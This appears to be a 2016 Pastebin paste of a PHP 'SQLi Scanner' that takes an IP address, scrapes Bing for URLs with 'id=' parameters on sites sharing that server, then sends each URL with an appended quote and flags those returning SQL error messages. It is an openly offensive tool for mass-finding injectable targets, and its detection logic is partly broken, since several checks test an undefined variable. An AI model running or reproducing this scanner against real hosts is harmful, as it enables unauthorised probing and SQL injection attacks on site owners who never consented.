3xploit3r

Bing Grabber from Ip

Aug 23rd, 2016
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.17 KB | None | 0 0
  1. <title>Bing Grabber from Ip</title>
  2. <center>
  3.  
  4. <br />
  5. <font color='yellow'>Coded by Mr MaGnoM</font><br> <br>
  6. <a href="https://www.facebook.com/mr.magnom2/">
  7. <img src="https://cdn3.iconfinder.com/data/icons/leaf/256/facebook.png" alt="contact me on facebook" width="30" height="30" />
  8. </a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  9. <a href="http://magsec.blogspot.com/">
  10. <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/31/Blogger.svg/2000px-Blogger.svg.png" alt="visit my blog" width="30" height="30" />
  11. </a><br>
  12. <font face='Tahoma' size='4' color='#FF0000'>SQLi Scanner from ip priv8</font><br />
  13. <form method="post">
  14. <center>
  15. <br/><input type="text" name="site" size="42" />
  16. <br><input type="submit" name="go" value="Dont kill me i have a cat" />
  17. </center>
  18. </form>
  19. <style type="text/css">
  20. body{
  21.   background-color: #0A0000;
  22. }
  23.  a{
  24.    text-decoration: none;
  25.  }
  26.  
  27.     input{
  28.            color: #FF0000;
  29.            border: dotted 1pt #0078AA;
  30.            //*height: */
  31.          }
  32. </style>
  33.  
  34. <?php
  35. //<>
  36.  
  37. // functions
  38.  
  39. // coded by mr magnom
  40.  
  41.  
  42. function getsource($url, $proxy) {
  43.     $curl = curl_init($url);
  44.     curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5");
  45.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  46.     if ($proxy) {
  47.         $proxy = explode(':', autoprox());
  48.         curl_setopt($curl, CURLOPT_PROXY, $proxy[0]);
  49.         curl_setopt($curl, CURLOPT_PROXYPORT, $proxy[1]);
  50.     }
  51.     $content = curl_exec($curl);
  52.     curl_close($curl);
  53.     return $content;
  54. }
  55.  
  56. /////////////
  57. error_reporting(0);
  58. set_time_limit(0);
  59. $ip=$_POST['site'];
  60.      if($_POST["go"]) {
  61.  
  62.         $npage = 1;
  63.         $npages = 300;
  64.         $allLinks = array();
  65.         $lll = array();
  66.         while($npage <= $npages) {
  67.             $x = getsource("http://www.bing.com/search?q=ip%3A" . $ip . "+id%3D&first=" . $npage, $proxy);
  68.             if ($x) {
  69.                 preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  70.                 foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  71.                 $npage = $npage + 10;
  72.                 if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  73.             } else break;
  74.         }
  75.         //print_r($allLinks) ;
  76.         $col=array_filter($allLinks);
  77.         $lol=array_unique($col);
  78.  
  79.         foreach ($lol as $urll){
  80.          //echo'<b><font color="06FD02"><a href='.$urll.'>'.$urll.'</a></font></b><br>';
  81.          sqli($urll);
  82.         }
  83.  
  84.  
  85.     }
  86.     function sqli($url){
  87.       $url2=("$url%27");
  88.       $xx=http_get($url2);
  89.       if(preg_match("/SQL syntax/i",$x) or eregi('You have an error',$xx) or eregi(' in your SQL syntax',$x)or preg_match('/sql/i',$x)){
  90.        echo'<b><font color="green">'.$url2.'</font></b><br>';
  91.       }else{
  92.        echo'<b><font color="red">'.$url2.'</font></b><br>';
  93.       }
  94.     }
  95.     function http_get($url){
  96.     $im = curl_init($url);
  97.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  98.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  99.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  100.     curl_setopt($im, CURLOPT_HEADER, 0);
  101.     return curl_exec($im);
  102.     curl_close($im);
  103.     }
  104.  
  105.  
  106. ?>
Add Comment
Please, Sign In to add comment